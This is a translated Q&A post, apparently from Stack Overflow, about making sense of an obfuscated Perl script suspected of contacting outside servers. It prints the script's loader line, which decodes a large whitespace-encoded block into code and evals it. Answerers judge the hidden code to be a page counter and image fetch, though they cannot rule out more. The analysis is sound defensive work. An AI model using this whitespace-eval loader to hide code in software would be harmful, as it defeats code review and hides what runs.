【发布时间】:2014-07-06 22:35:33
【问题描述】:
有人让我帮他去混淆以下 Perl 脚本 被发送给他,怀疑它正在连接到一些外部服务器 等等。但是,我不是 Perl 专家,所以我无法真正理解 这里发生的所有事情。
据他说,脚本应该处理一个 input.txt 文件并从中提取
生成和 HTML 文件,带有一些命令行参数A, B, C, ...。
所以你可以运行脚本:
MAGIC_NO_JAVASCRIPT=1 perl ./179252S0 gghkla5673lju-magic input.txt 1 A B C > output.html
经过混淆的 Perl 脚本 179252S0 仅包含以下行, 后跟大约 1 MB 的行,其中包含不同数量的空格和制表符 在每一行。我只会给出第一行,但你可以下载和 看全文here。
第一行如下:
$_=<<'';y;\r\n;;d;$_=pack'b*',$_;$_=eval;$@&&die$@;$_
那是做什么的,我怎么理解它?
实际上,我通过将$_=eval 替换为
print $_,但该代码也被混淆了。
编辑:感谢 Slade 的分析和一些体力劳动,我可以得出结论,这个脚本的其余部分被 Acme::Floral 混淆了,使用如下:
perl -MAcme::Floral my_script.pl > floral_script.pl
并且网络调用被发送到:
- a) 提供统计数据和内置页面计数器的 web 工具站点
到生成的
*.html页面。 - b) 另一个网站抓取图像文件以进行 html 加载。
但是由于最后的混淆,我们不能完全排除其他事情正在发生,没有大量的额外工作。
PS。我留下了原始名称和神秘的“魔术”参数,因为我认为去混淆算法也依赖于此。
【问题讨论】:
-
这里去掉了第一层混淆:link。变量和函数名称仍然是混淆的。这似乎至少是似是而非的良性,但很难说。
-
谢谢,看起来比我得到的好多了。该代码一定是由混淆引擎生成的。有人认出哪个吗?
-
Acme::Floral 似乎已被用于生成混淆变量和子例程名称。不过,空格的东西看起来很特别,因为它不是一种特别强大的混淆手段。
标签: perl obfuscation